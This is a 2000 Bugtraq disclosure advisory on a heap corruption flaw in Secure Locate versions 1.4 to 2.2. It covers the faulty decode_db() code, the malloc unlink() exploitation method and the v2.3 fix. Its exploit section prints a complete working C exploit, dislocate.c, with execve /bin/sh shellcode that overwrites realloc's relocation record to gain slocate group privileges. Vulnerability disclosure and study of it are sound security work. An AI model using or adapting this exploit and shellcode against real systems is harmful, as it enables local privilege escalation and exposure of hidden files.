Date:         Sun, 26 Nov 2000 23:38:25 +0100
From: Michel Kaempf <maxx@MASTERSECURITY.FR>
Subject:      [MSY] S(ecure)Locate heap corruption vulnerability
To: BUGTRAQ@SECURITYFOCUS.COM

---------------[ MasterSecuritY <www.mastersecurity.fr> ]---------------

------------[ S(ecure)Locate heap corruption vulnerability ]------------
----------[ By Michel "MaXX" Kaempf <maxx@mastersecurity.fr> ]----------

--[ 0x00 - Table of contents ]------------------------------------------

0x01 - Overview
0x02 - Description
0x03 - Solution
0x04 - Exploit
0x05 - Acknowledgement

--[ 0x01 - Overview ]---------------------------------------------------

- From the Secure Locate manual page:

> slocate - Security Enhanced version of the GNU Locate
>
> Secure Locate provides a secure way to index and quickly search for
> files on your system. It uses incremental encoding just like GNU
> locate to compress its database to make searching faster, but it will
> also store file permissions and ownership so that users will not see
> files they do not have access to.

- From the Security Focus web site:

> Secure Locate maintains an index of the entire filesystem, including
> files only visible by root. The slocate binary is setgid "slocate" so
> it can read this index. If slocate is properly exploited, the location
> of sensitive files could be revealed to an unprivileged local user.

--[ 0x02 - Description ]------------------------------------------------

----[ Take a look around ]----------------------------------------------

A few days ago, zorgon <zorgon@linuxstart.com> discovered a problem in
Secure Locate v2.1. When decoding an invalid database specified by a
local user (thanks to the -d command line option), slocate dies with a
segmentation violation:

	$ cp /usr/bin/slocate /tmp/slocate
	$ perl -e 'print "A" x 1337' > /tmp/foo
	$ gdb -q /tmp/slocate
	(gdb) run -d /tmp/foo bar
	Starting program: /tmp/slocate -d /tmp/foo bar
	
	Program received signal SIGSEGV, Segmentation fault.
	0x17afd2 in realloc () from /lib/libc.so.6
	(gdb)

Secure Locate fails decoding a database containing a large number of
'A' characters... The problem looks like a classic buffer overflow,
but there is something strange: slocate also fails decoding an invalid
database containing only 6 or 5 'A' characters:

	$ cp /usr/bin/slocate /tmp/slocate
	$ perl -e 'print "A" x 6' > /tmp/foo
	$ gdb -q /tmp/slocate
	(gdb) run -d /tmp/foo bar
	Starting program: /tmp/slocate -d /tmp/foo bar
	
	Program received signal SIGSEGV, Segmentation fault.
	0x17a876 in malloc () from /lib/libc.so.6
	(gdb)

	$ cp /usr/bin/slocate /tmp/slocate
	$ perl -e 'print "A" x 5' > /tmp/foo
	$ gdb -q /tmp/slocate
	(gdb) run -d /tmp/foo bar
	Starting program: /tmp/slocate -d /tmp/foo bar
	
	Program received signal SIGSEGV, Segmentation fault.
	0x17ab0d in free () from /lib/libc.so.6
	(gdb)

If Secure Locate dies while running one of the three functions
realloc(), malloc() or free(), which are part of Doug Lea's malloc used
by most Linux systems, it is certainly not because of bugs in these
widely used functions, but because slocate overwrites the internal
structures used by these functions (the malloc chunks, stored before
and after the buffers allocated by malloc) while decoding the invalid
databases.

----[ Use the Source, Luke ]--------------------------------------------

The guilty function in slocate, decode_db(), is part of the main.c
module, and is reproduced below, but simplified for a better
understanding of the problem and its future exploitation:

#define MIN_BLK 64

char slevel = '1';

int decode_db( char * database, char * str )
{
	FILE * fd;
	char * codedpath = NULL;
	char * ptr;
	short code_num;
	int jump = 0;
	int grow = 0;
	int pathlen = 0;
	register char ch;
	int first = 1;

	fd = fopen( database, "r" );

(1)	slevel = getc( fd );

(2)	codedpath = malloc( MIN_BLK );
	ptr = codedpath;

(3)	while ( (code_num = getc(fd)) != EOF ) {

(4)		if ( code_num > 127 )
(5)			code_num = code_num - 256;

		jump = 0;

		if ( code_num < 0 )
			grow += code_num;

		ptr += code_num;

(6)		pathlen = ptr - codedpath;

		while( !jump ) {
(7)			ch = getc( fd );
			grow++;
			pathlen++;
			if ( grow == 64 ) {
(8)				realloc( codedpath, pathlen + MIN_BLK );
			}
(9)			codedpath[ pathlen - 1 ] = ch;

(10)			if ( ch == '\0' )
				jump = 1;
		}
	}
}

When decoding a database, decode_db() reads the first character of
the file(1), but the value of this character does not affect the
segmentation violation. decode_db() then allocates a 64 bytes buffer(2),
and reads the second character of the database file, code_num(3).

When considering the first run of the loop(3), pathlen is initialized
to (codedpath + code_num - codedpath) == code_num(6), and this value
represents the offset in the codedpath buffer where the characters read
from the database file(7) are stored(9).

Now remember: the second character of the foo file was 'A', or 65 when
encoded in decimal. This is the offset in the codedpath buffer where
the characters read from the foo file were stored, but, problem, the
codedpath buffer was only 64 bytes.

Now guess what is stored after the 64 bytes of the codedpath buffer, and
is partially overwritten by decode_db()? A malloc chunk structure, of
course, and that's why the next call to realloc(), malloc() or free()
dies with a segmentation violation.

--[ 0x03 - Solution ]---------------------------------------------------

Upgrade to Secure Locate v2.3, available at:

ftp://ftp.mkintraweb.com/pub/linux/slocate/

The author, Kevin Lindsay, was contacted and confirmed Secure Locate
v2.3 is not affected by the vulnerability described in this advisory.
Every Secure Locate version, from 1.4 (included) to 2.2 (included), is
affected by the problem, and vulnerable to the exploit described below.

--[ 0x04 - Exploit ]----------------------------------------------------

----[ The fight ]-------------------------------------------------------

The plan is simple:

- the exploit builds an invalid database (without '\0' characters(10))
in order to carefully overwrite the internal structures used by
realloc() ;

- the first call to realloc()(8) should overwrite an interesting
function pointer stored somewhere in the memory, the dynamic relocation
record of the realloc() function for example, with a pointer to a
shellcode built by the exploit and stored in the heap (not on the stack,
in order to defeat non-executable stack patches) ;

- the second call to realloc()(8) should execute the shellcode, and not
the libc realloc() function.

Thanks to the unlink() macro used by realloc(), it is possible to
overwrite a function pointer with a pointer to the shellcode:

#define unlink(P, BK, FD)                                              \
{                                                                      \
  BK = P->bk;                                                          \
  FD = P->fd;                                                          \
  FD->bk = BK;                                                         \
  BK->fd = FD;                                                         \
}                                                                      \

When examining the libc realloc() function, the best path to an unlink()
call is the following (simplified) path:

struct malloc_chunk
{
    /* Size of previous chunk (if free). */
    unsigned int prev_size;

    /* Size in bytes, including overhead. */
    unsigned int size;

    /* double links -- used only if free. */
    struct malloc_chunk * fd;
    struct malloc_chunk * bk;
};

typedef struct malloc_chunk * mchunkptr;

void * realloc( void * oldmem, unsigned int bytes )
{
    unsigned int nb;                           /* padded request size */
    mchunkptr oldp;                  /* chunk corresponding to oldmem */
    unsigned int oldsize;                                 /* its size */
    mchunkptr next;               /* next contiguous chunk after oldp */
    unsigned int nextsize;                                /* its size */
    unsigned int newsize = oldsize;
    mchunkptr bck;                           /* misc temp for linking */
    mchunkptr fwd;                           /* misc temp for linking */

    /* oldp = oldmem - 8 */
    oldp = mem2chunk( oldmem );

    /* oldsize = oldp->size & ~3 */
    oldsize = chunksize( oldp );

    /* nb = (bytes + 11) & ~7 */
    if ( request2size(bytes, nb) )
        ...

    /* if ( oldp->size & 2 ) */
(a) if ( chunk_is_mmapped(oldp) )
    {
        ...
    }

(b) if ( (long)(oldsize) < (long)(nb) )
    {
        /* next = oldp + oldsize */
        next = chunk_at_offset( oldp, oldsize );

        /* if ( !((next + (next->size & ~1))->size & 1) ) */
(c)     if ( next == top(ar_ptr) || !inuse(next) )
        {
            /* nextsize = next->size & ~3; */
            nextsize = chunksize( next );

            if ( next == top(ar_ptr) )
            {
                ...
            }
(d)         else if ( (long)(nextsize + newsize) >= (long)(nb) )
            {
                unlink( next, bck, fwd );

If the exploit carefully overwrites the chunks used by realloc(), in
order to satisfy the (a), (b), (c) and (d) conditions, the unlink()
macro is reached and the magic happens.

----[ First round ]-----------------------------------------------------

The exploit should build and store a fake next malloc_chunk somewhere
in the memory, and overwrite the oldp malloc_chunk in order to force
realloc() to use the fake next chunk and not the regular one. But
in order to overwrite the oldp chunk, the exploit should be able to
underflow the codedpath buffer allocated by decode_db()(2) (the oldp
chunk is stored just before the codedpath buffer).

And it *is* possible to underflow the codedpath buffer: if the second
character of the database file is greater than 127(4), code_num (and
therefore the offset in the codedpath buffer where the characters read
from the database file are stored) becomes negative(5). If the exploit
sets this second character to (256 - 4), the whole size member of the
oldp chunk can be overwritten in order to point to the fake next chunk.

The exploit stores the fake next chunk on the stack, in order to satisfy
the four conditions required to reach unlink() and the fact that no '\0'
character can be present in the database file:

- the fake next chunk can be padded in order to begin at a 4 bytes
aligned memory location (and therefore satisfies (a)) ;

- the long integer corresponding to the distance between the heap and
the stack, oldsize, is negative (and therefore satisfies (b)) and does
not contain '\0' characters ;

- if nextsize is equal to (nb - newsize) (and therefore satisfies (d)),
it will point back to the heap and will not contain '\0' characters ;

- at the heap location pointed to by nextsize, 0x00 bytes are stored
(and therefore satisfy (c)).

Eventually, the exploit has to carefully compute the fd and bk members
of the fake next chunk in order to overwrite the realloc() dynamic
relocation record, thanks to unlink(), with a pointer to the shellcode
stored in the codedpath buffer. This shellcode should begin with a jump
instruction in order to skip the garbage bytes introduced by unlink() at
the beginning of the shellcode.

----[ Second round ]----------------------------------------------------

This exploit will work against every Secure Locate version between 1.4
and 2.1, but not against Secure Locate v2.2. Why? Because of the new
validate_db() function, which detects that the database file built by
the exploit is invalid.

But the exploit can build a database file that looks like a valid
database, by adding the '0', '\0' and '\0' characters at the beginning
of the file. The first two characters validate the database, and the
third character resets the codedpath buffer filling(10). The other parts
of the exploit remain the same, except the fact that the shellcode size
limit is reduced by one.

----[ Knock out ]-------------------------------------------------------

/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * dislocate.c - Local i386 exploit in v1.3 < Secure Locate < v2.3
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/dislocate/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PATH "/tmp/path"

char * shellcode =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void usage( char * string )
{
	fprintf( stderr, "* Usage: %s filename realloc malloc\n", string );
	fprintf( stderr, "\n" );

	fprintf( stderr, "* Example: %s /usr/bin/slocate 0x0804e7b0 0x08050878\n", string );
	fprintf( stderr, "\n" );

	fprintf( stderr, "* Realloc:\n" );
	fprintf( stderr, "  $ objdump -R /usr/bin/slocate | grep realloc\n" );
	fprintf( stderr, "\n" );

	fprintf( stderr, "* Malloc:\n" );
	fprintf( stderr, "  $ %s foobar 0x12121212 0x42424242\n", string );
	fprintf( stderr, "  $ cp /usr/bin/slocate /tmp\n" );
	fprintf( stderr, "  $ ltrace /tmp/slocate -d %s foobar 2>&1 | grep 'malloc(64)'\n", PATH );
	fprintf( stderr, "  $ rm %s\n", PATH );
	fprintf( stderr, "\n" );
}

int zero( unsigned int ui )
{
	if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {
		return( -1 );
	}
	return( 0 );
}

int main( int argc, char * argv[] )
{
	unsigned int ui_realloc;
	unsigned int ui_malloc;
	char path[1337];
	char next[1337];
	char * execve_argv[] = { NULL, "-d", PATH, next, NULL };
	int fd;
	unsigned int p_next;
	unsigned int ui;

	if ( argc != 4 ) {
		usage( argv[0] );
		return( -1 );
	}
	execve_argv[0] = argv[1];
	ui_realloc = (unsigned int)strtoul( argv[2], NULL, 0 );
	ui_malloc = (unsigned int)strtoul( argv[3], NULL, 0 );

	strcpy( next, "ppppssssffffbbbb" );
	p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);
	for ( ui = 0; ui < p_next - (p_next & ~3); ui++ ) {
		strcat( next, "X" );
	}
	p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);

	ui = 0;
	*((unsigned int *)(&(next[ui]))) = (unsigned int)(-1);

	ui += 4;
	*((unsigned int *)(&(next[ui]))) = ((ui_malloc - 8) + 136) - p_next;
	if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
		fprintf( stderr, "debug: next->size == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );
		return( -1 );
	}

	ui += 4;
	*((unsigned int *)(&(next[ui]))) = ui_realloc - 12;
	if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
		fprintf( stderr, "debug: next->fd == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );
		return( -1 );
	}

	ui += 4;
	*((unsigned int *)(&(next[ui]))) = ui_malloc;
	if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
		fprintf( stderr, "debug: next->bk == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );
		return( -1 );
	}

	ui = 0;
	path[ui] = (char)(256 - 4);

	ui += 1;
	*((unsigned int *)(&(path[ui]))) = p_next - (ui_malloc - 8);
	if ( zero( *((unsigned int *)(&(path[ui]))) ) ) {
		fprintf( stderr, "debug: oldp->size == 0x%08x;\n", *((unsigned int *)(&(path[ui]))) );
		return( -1 );
	}

	ui += 4;
	path[ui] = 0;
	strcat( path, "\xeb\x0axxyyyyzzzz" );
	strcat( path, shellcode );

	fd = open( PATH, O_WRONLY|O_CREAT|O_EXCL, S_IRWXU );
	if ( fd == -1 ) {
		fprintf( stderr, "debug: open( \"%s\", O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ) == -1;\n", PATH );
		return( -1 );
	}
	write( fd, "0", sizeof("0") );
	write( fd, "", sizeof("") );
	write( fd, path, strlen(path) );
	close( fd );

	execve( execve_argv[0], execve_argv, NULL );
	return( -1 );
}

--[ 0x05 - Acknowledgement ]--------------------------------------------

Thanks to zorgon <zorgon@linuxstart.com> for sharing this problem with
me and for allowing me to release this advisory.

Thanks to Kevin Lindsay <klindsay@mkintraweb.com> for writing Secure
Locate, for his quick and kind response, and for also allowing me to
release this advisory.

And thanks to Al Huger, Samuel Hocevar, Olivier Thereaux and Pierre
Corneillie for their help.

--
Michel "MaXX" Kaempf